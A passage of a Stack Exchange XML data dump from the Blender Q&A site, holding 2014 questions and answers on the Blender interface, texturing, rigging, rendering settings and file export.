LastEditDate="2014-03-30T18:29:37.190" LastActivityDate="2014-04-04T20:47:42.490" Title="Black artifacts in some rendered images of a text" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-04-01T21:14:10.700" ContentLicense="CC BY-SA 3.0" />
  <row Id="8178" PostTypeId="1" AcceptedAnswerId="8180" CreationDate="2014-03-30T11:47:01.857" Score="6" ViewCount="3239" Body="&lt;p&gt;I am new to Blender and I am trying to find my way through its interface. I want to have several windows (I mean OS windows, not Blender windows). So I create a separate window by dragging splitter widget while holding &lt;kbd&gt;Shift&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is there are no splitter widgets in the newly created OS window. So I can't have multiple blender windows in it. The new window does not have a Layout type drop down menu either. So how do I add new Blender windows in a new OS window? (Sorry if I'm using the wrong terms, but hopefully its clear what I am trying to achieve).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BcANQ.png&quot; alt=&quot;No splitter widget!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2966" LastEditorUserId="2217" LastEditDate="2014-03-30T19:42:22.517" LastActivityDate="2014-03-30T19:42:22.517" Title="No splitter widget in new separate window" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8179" PostTypeId="2" ParentId="8178" CreationDate="2014-03-30T12:20:02.920" Score="4" Body="&lt;p&gt;This is because you toggled your window full screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can click the button &quot;Back to previous&quot; at the top, or hit &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;UP arrow&lt;/kbd&gt; (or &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;DOWN arrow&lt;/kbd&gt;, or again &lt;kbd&gt;SHIFT&lt;/kbd&gt; + &lt;kbd&gt;Space bar&lt;/kbd&gt;) to toggle the window full screen / normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;split view&quot; widgets are only present when not in full screen.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-03-30T12:20:02.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8180" PostTypeId="2" ParentId="8178" CreationDate="2014-03-30T12:21:13.133" Score="7" Body="&lt;p&gt;The reason you cannot split the windows is because you have one of your part of the User Interface maximized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NOgrq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you go out of this maximization via pressing the &quot;Back to previous&quot; in the info header or by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Space&lt;/kbd&gt; you can change your UI and create new windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other shortcuts to manipulate the User Interface.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Up&lt;/kbd&gt;,&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Down&lt;/kbd&gt;: Maximize Window under mouse&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Left&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Right&lt;/kbd&gt;: go to previous/next Layout&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-30T12:21:13.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8182" PostTypeId="1" AcceptedAnswerId="8196" CreationDate="2014-03-30T15:18:43.533" Score="6" ViewCount="4522" Body="&lt;p&gt;I've made a simple test texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lkqh.png&quot; alt=&quot;Test Picture, it&amp;#39;s pretty vital!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and a simple test model. Combined, they look like: (in Unity)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L7Kh1.png&quot; alt=&quot;Test Picture, it&amp;#39;s pretty vital!&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image above shows two of my test objects. The left-most one is fine to me, but the right isn't. I would like the right one to continue counting where the left one stopped. For example, a brick wall made of two models. I don't want it to get cut off in the middle of the wall, rather I'd like it to continue seamlessly. The real-world application I'm going to use this for is 2D levels of different meshes. I built the levels and the Unity code would randomly place them for me. I'm having a problem here because the textures cut off. I was considering texturing each level individually, but that would be painstaking and it would take up a lot of memory.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Please keep in mind that the two objects are different models and different shapes that will be placed in the Unity scene. Most of the methods listed wouldn't work or are not practical.&lt;/p&gt;&#xA;" OwnerUserId="2814" LastEditorDisplayName="user12855" LastEditDate="2015-06-01T01:45:24.743" LastActivityDate="2015-06-01T01:45:24.743" Title="Make a seamless, continuing texture on two separate models" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8183" PostTypeId="2" ParentId="8182" CreationDate="2014-03-30T15:43:28.123" Score="2" Body="&lt;p&gt;You can do this by duplicating the mesh and modifying it's UVs&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate the mesh, &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the second mesh and go into edit mode, &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the UV Editor select all UVs and move them along the x-axis (or the y-axis, it depends)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ioi81.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-30T15:43:28.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8184" PostTypeId="2" ParentId="8182" CreationDate="2014-03-30T16:00:58.577" Score="1" Body="&lt;p&gt;There are a couple ways to do this, depending on a couple different factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that I would use that should work no matter what, is to simply &quot;join&quot; the two objects into one, you can then UV map the texture appropriately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if your using cycles (which you should) you can map the texture based on the coordinates of the object in question with a object info node (Add Node &gt; Input &gt; Object Info)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use texture painting. I couldn't give much insight on texture painting... you should google the docs on it, and watch some YouTube videos.&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorDisplayName="user12855" LastEditDate="2015-06-01T01:45:04.400" LastActivityDate="2015-06-01T01:45:04.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8185" PostTypeId="2" ParentId="8182" CreationDate="2014-03-30T16:41:41.637" Score="9" Body="&lt;p&gt;Look into UV project modifier.&#xA;It allows an object (could be an empty or the camera) to project an image into UV unwrapped objects, Very easy to control the size and positioning in real time.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hxrFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-03-30T17:22:01.147" LastActivityDate="2014-03-30T17:22:01.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8186" PostTypeId="2" ParentId="8182" CreationDate="2014-03-30T16:54:39.603" Score="7" Body="&lt;p&gt;Since the models are identical and fairly simple, a quick way you could do this is to make them into one object (or just model one object), unwrap that object and map the single texture to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, split the object with a loop and separate a half by selection. Blender will preserve the position of the uvs on both for you. It would also be fairly easy to have it wrap etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oeh3f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-03-30T16:54:39.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8187" PostTypeId="1" CreationDate="2014-03-30T18:40:38.800" Score="13" ViewCount="10774" Body="&lt;p&gt;I have a chain of three bones and I want them to follow a curve (bezier curve). I've tried  to do this creating a bone constraint &lt;code&gt;follow path&lt;/code&gt; but it doesn't work. I've tried putting four &lt;code&gt;empty&lt;/code&gt;s and creating two constraints for each bone: one constraint &lt;code&gt;child of&lt;/code&gt; and another one &lt;code&gt;track to&lt;/code&gt;. It doesn't work. In both cases the bones move but not aligned following the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I've noticed that sometimes the bones are in different positions in Edit Mode or Object Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnL0Y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2821" LastEditorUserId="2217" LastEditDate="2014-03-30T19:45:36.283" LastActivityDate="2017-05-17T22:10:07.187" Title="Three bones following a curve" Tags="&lt;bezier-curves&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8188" PostTypeId="2" ParentId="8187" CreationDate="2014-03-30T21:19:53.557" Score="1" Body="&lt;p&gt;Andrea, I also tried to do the exact same thing and nobody I talked to could figure out how to do it. It seems Blender does not have a way to have all the bones in an armature follow a curve. So if you have a snake armature, it doesn't seem there is any way to get all the bones to follow the curve path. Sorry.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-03-30T21:32:33.630" LastActivityDate="2014-03-30T21:32:33.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8189" PostTypeId="2" ParentId="8177" CreationDate="2014-03-30T23:58:10.313" Score="0" Body="&lt;p&gt;It looks like a topology problem.  You can convert the text to a mesh (Alt +C) and try the following.&#xA; - Recalculating the normals (enter edit mode, select all, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;)&#xA; - Check for non-manifold geometry (edit mode - vertex mode, make sure nothing is selected then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt;) &#xA; - Remove double vertices (edit mode, &lt;kbd&gt;W&lt;/kbd&gt; - remove doubles)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would prefer to keep the text object, go to the object modifiers tab in the properties window, then try the following:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a decimate modifier&lt;/li&gt;&#xA;&lt;li&gt;set the type to planar&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="2699" LastEditDate="2014-03-31T17:36:33.487" LastActivityDate="2014-03-31T17:36:33.487" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8190" PostTypeId="2" ParentId="8169" CreationDate="2014-03-31T01:03:41.720" Score="17" Body="&lt;h2&gt;&lt;strong&gt;Apply Visual Transform&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Another way to solve this problem without the need to bake is to use Apply Visual Transform like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to frame 300 and select all the mesh pieces&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&amp;gt; Visual Transform&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wsVuJ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Applying Visual Transform will set the Location, Rotation and Scale of all the selected objects to what they are on frame 300.&lt;/p&gt;&#xA;&lt;p&gt;With this method, you don't need to bake the simulation and you also don't loose the rigid body settings.&lt;/p&gt;&#xA;&lt;p&gt;Credit for this answer goes to &lt;a href=&quot;https://blender.stackexchange.com/a/3383/599&quot;&gt;sergof&lt;/a&gt; here on StackExchange.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-31T01:14:52.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8191" PostTypeId="2" ParentId="6942" CreationDate="2014-03-31T02:13:25.263" Score="3" Body="&lt;p&gt;You could perform the keying in the compositor scene. Create a 3D scene to reproduce the depth of the street shot. Then place UV unwrapped cards in that scene, each card could have a layer pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back in the compositor apply the alpha keyed image to the 3D scene layer using UV distort. It should scale and map the people to the card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example I made at the forum &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?332091-Card-Compositing-to-simulate-depth&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?332091-Card-Compositing-to-simulate-depth&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3NGXf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="1218" LastEditDate="2014-03-31T07:50:13.167" LastActivityDate="2014-03-31T07:50:13.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8192" PostTypeId="1" AcceptedAnswerId="8198" CreationDate="2014-03-31T04:46:46.583" Score="5" ViewCount="12627" Body="&lt;p&gt;When I render out my blender animation project into a video file, it blurs, pixelates, and glitches in some spots. Why is this happening?&#xA;Is it because I'm using Ogg Theora with Vorbis as the format? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SIb0E.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5i33G9TR2piWUdLX2w3MVhIV2M/edit?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B5i33G9TR2piUVlSUGxoUzg1d3c/edit?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;Output video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input is 1080p video composited with an animation. Don't know why it's pixelating so much. Is it compression?&lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="599" LastEditDate="2014-03-31T06:03:56.700" LastActivityDate="2014-03-31T15:10:14.067" Title="Why is my render all blurry and pixelated?" Tags="&lt;file-format&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8193" PostTypeId="2" ParentId="8160" CreationDate="2014-03-31T05:08:33.293" Score="14" Body="&lt;p&gt;The question is vague, but off hand here are some things to consider.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Compatibility&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure your hardware is supported,&lt;br&gt;some hardware has poor support or is completely unsupported.&lt;br&gt;&lt;em&gt;Note: at the time of writing, NVIDIA has much better support for GPU rendering then any other hardware, but this may change with newer drivers &amp;amp; hardware.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Path names are case sensitive (if you share projects with ms-windows systems you need to take care of this, since ms-windows is case insensitive).&lt;/li&gt;&#xA;&lt;li&gt;Unlike OSX, Linux doesn't support Quicktime codecs. This means some formats (such as gif) can't be loaded. Though Blender uses FFMPEG which supports many video formats (input &amp;amp; output).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Performance&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Linux &lt;em&gt;(and associated tool-chain)&lt;/em&gt; has been proven to be faster in some areas &lt;em&gt;(many users report faster render times with Cycles for example)&lt;/em&gt;. But this depends on your exact configuration.&lt;br&gt;The ability to run Blender with no graphical desktop to use all available memory can be an advantage too (especially for render farms).&lt;/li&gt;&#xA;&lt;li&gt;Blender for Linux takes advantage of a high performance memory allocator (&lt;code&gt;jemalloc&lt;/code&gt;), which is less prone to memory fragmentation, see:&lt;br&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.canonware.com/jemalloc&quot; rel=&quot;nofollow noreferrer&quot;&gt;jemalloc home page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sintel.org/development/memory-jemalloc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sintel, Blender Jemalloc benchmarks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1624726/how-does-jemalloc-work-what-are-the-benefits&quot;&gt;how-does-jemalloc-work-what-are-the-benefits&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Some of Blender's code takes advantage of compiler optimizations which aren't available in Microsoft's compiler (MSVC): &lt;em&gt;(explicit branch reordering with &lt;a href=&quot;http://kernelnewbies.org/FAQ/LikelyUnlikely&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;__builtin_expect&lt;/code&gt;&lt;/a&gt; and more efficient macros with &lt;a href=&quot;http://gcc.gnu.org/onlinedocs/gcc/Statement-Exprs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;statement expressions&lt;/code&gt;&lt;/a&gt;)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Greater choice for compilers (GCC, Clang, IntelC++) are supported on Linux, but only MSVC is supported on ms-windows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the ability to boot of an external drive, you can test how well Linux runs and that it supports your hardware, before installing onto your system.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some of the advantages I've listed for Linux are also advantages for MacOSX, FreeBSD&lt;/li&gt;&#xA;&lt;li&gt;MS-Windows+MSVC are also advanced technologies and undoubtedly have some advantages over Linux+GCC..or other compilers... &lt;em&gt;(your-mileage-may-vary)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The questioner askes about Ubuntu, however this is not really an important detail, (pros/cons apply to other popular distros too).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-11-12T21:05:38.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8194" PostTypeId="2" ParentId="8187" CreationDate="2014-03-31T05:49:02.767" Score="2" Body="&lt;p&gt;While you may not be able to automate the armature following the curve the way you want, you can use it as a guide.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable auto keyframing.&lt;/li&gt;&#xA;&lt;li&gt;Start at frame one, pose the armature as you want it to start.&lt;/li&gt;&#xA;&lt;li&gt;Goto the last frame and pose the armature at the other end.&lt;/li&gt;&#xA;&lt;li&gt;Goto the middle frame and pose the armature along the curve.&lt;/li&gt;&#xA;&lt;li&gt;Repeat 4 until you have the armature animated the way you want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-31T05:49:02.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8195" PostTypeId="1" AcceptedAnswerId="8203" CreationDate="2014-03-31T08:54:47.503" Score="2" ViewCount="446" Body="&lt;p&gt;When I render my smoke there is a triangle shape that doesn't get rendered, I heard somewhere (I can't remember where no matter how hard I google it... ) that there is a workaround involving dual smoke domains that are linked somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am fairly new to blender and rendering overall so I wouldn't be surprised if this is some basic stuff that I missed.  But I can't find any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s6hNw.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjbUq.jpg&quot; alt=&quot;Camera clipping settings, the orange line is a visualization of the clipping range I think.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2971" LastEditorUserId="2971" LastEditDate="2014-03-31T19:22:06.410" LastActivityDate="2014-03-31T19:22:06.410" Title="Smoke render problem, transparent triangle artifact" Tags="&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8196" PostTypeId="2" ParentId="8182" CreationDate="2014-03-31T10:58:39.587" Score="1" Body="&lt;p&gt;From your edit and comments, it looks like what you want to do is export the object once, but have it tile seamlessly when a number of copies of the same object are arranged within Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is the case, the visible face of the object &lt;strong&gt;must&lt;/strong&gt; be textured with an exact whole number of repetitions of the tiling texture (1 or more). Mapping the face to a small section of the texture will not work, as your example image shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibUj4.png&quot; alt=&quot;Object textured with single copy of the tiling texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/04LZ5.png&quot; alt=&quot;Multiple copies of the object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or with a more obviously tileable texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hfrqW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2973" LastActivityDate="2014-03-31T10:58:39.587" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8197" PostTypeId="1" AcceptedAnswerId="8199" CreationDate="2014-03-31T12:15:30.300" Score="2" ViewCount="4643" Body="&lt;p&gt;That pretty much all, I need to export the model to this type of model for a papercraft designer program that only uses this file format. Is there any way I can export it to this format or any plugin I need to install to do this?&lt;/p&gt;&#xA;" OwnerDisplayName="user2975" LastActivityDate="2015-03-23T22:55:23.227" Title="How to export blender model to Metasequoia files(.MQO)" Tags="&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8198" PostTypeId="2" ParentId="8192" CreationDate="2014-03-31T12:35:01.930" Score="9" Body="&lt;p&gt;Your video output looks so bad because of the low quality setting specified in the render output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Things first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should never render out your 3d renders as movie files, NEVER! The reasons for this are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you mess up the quality settings you will have to re-render from the beginning&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you computer crashes halfway through the rendering all render will be lost and you will have to start over&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The only time when you would want to render out a movie in blender is when you have an ready rendered animation as an image sequence and you want to convert it to a single movie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The proper way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Render out your animation as an image sequence. The output files should be a very high quality image which is why I would use either: png, tga, exr or whatever will yield a good looking image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the blender Video Editor load the image sequence as an image sequence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now render out as a movie&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Back to the actual question. You need to increase your render settings. Here are the important parameters you need to consider increasing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Format&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Bitrate&lt;/em&gt;: The target amount of data per second in your video file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;GOP&lt;/em&gt;: The number of key frames for the color palette. A value of &lt;code&gt;10&lt;/code&gt; means that during those 10 frames all are drawing frames based on the same 256 colors. If your scene is changing color during this time the quality will suffer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Rate&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Minimum&lt;/em&gt;: The lowest the &lt;em&gt;Bitrate&lt;/em&gt; can be per second&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Maximum&lt;/em&gt;: The highest the &lt;em&gt;Bitrate&lt;/em&gt; can be per second&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think in your case the following settings would yield satisfactory results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qav7i.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2014-03-31T12:35:01.930" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8199" PostTypeId="2" ParentId="8197" CreationDate="2014-03-31T13:04:05.773" Score="2" Body="&lt;p&gt;I found this plugin : meshIO, I've tried to install it and apparently it's working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.jp/projects/meshio/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.jp/projects/meshio/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installation, you can export in .MQO file with file -&gt; export&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-03-31T13:04:05.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8200" PostTypeId="1" CreationDate="2014-03-31T14:01:42.680" Score="-1" ViewCount="7256" Body="&lt;p&gt;I use a mac and would like to know if there is any way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2976" LastActivityDate="2014-03-31T15:14:47.047" Title="The normal brush in sculpt mode on Blender doesn't work" Tags="&lt;sculpting&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-01T00:25:30.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="8202" PostTypeId="2" ParentId="8200" CreationDate="2014-03-31T15:14:47.047" Score="5" Body="&lt;p&gt;Sculpting requires some geometry to deform if you try to use the default brush on a cube nothing will happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could subdivide the cube &lt;kbd&gt;W&lt;/kbd&gt; &lt;em&gt;Subdivide&lt;/em&gt; in &lt;em&gt;Edit Mode&lt;/em&gt; or press the &lt;em&gt;Enable Dynamic&lt;/em&gt; button in the topology section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uE3fe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect is shown in the image right a subdivided cube, front left dynamic topology.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-03-31T15:14:47.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
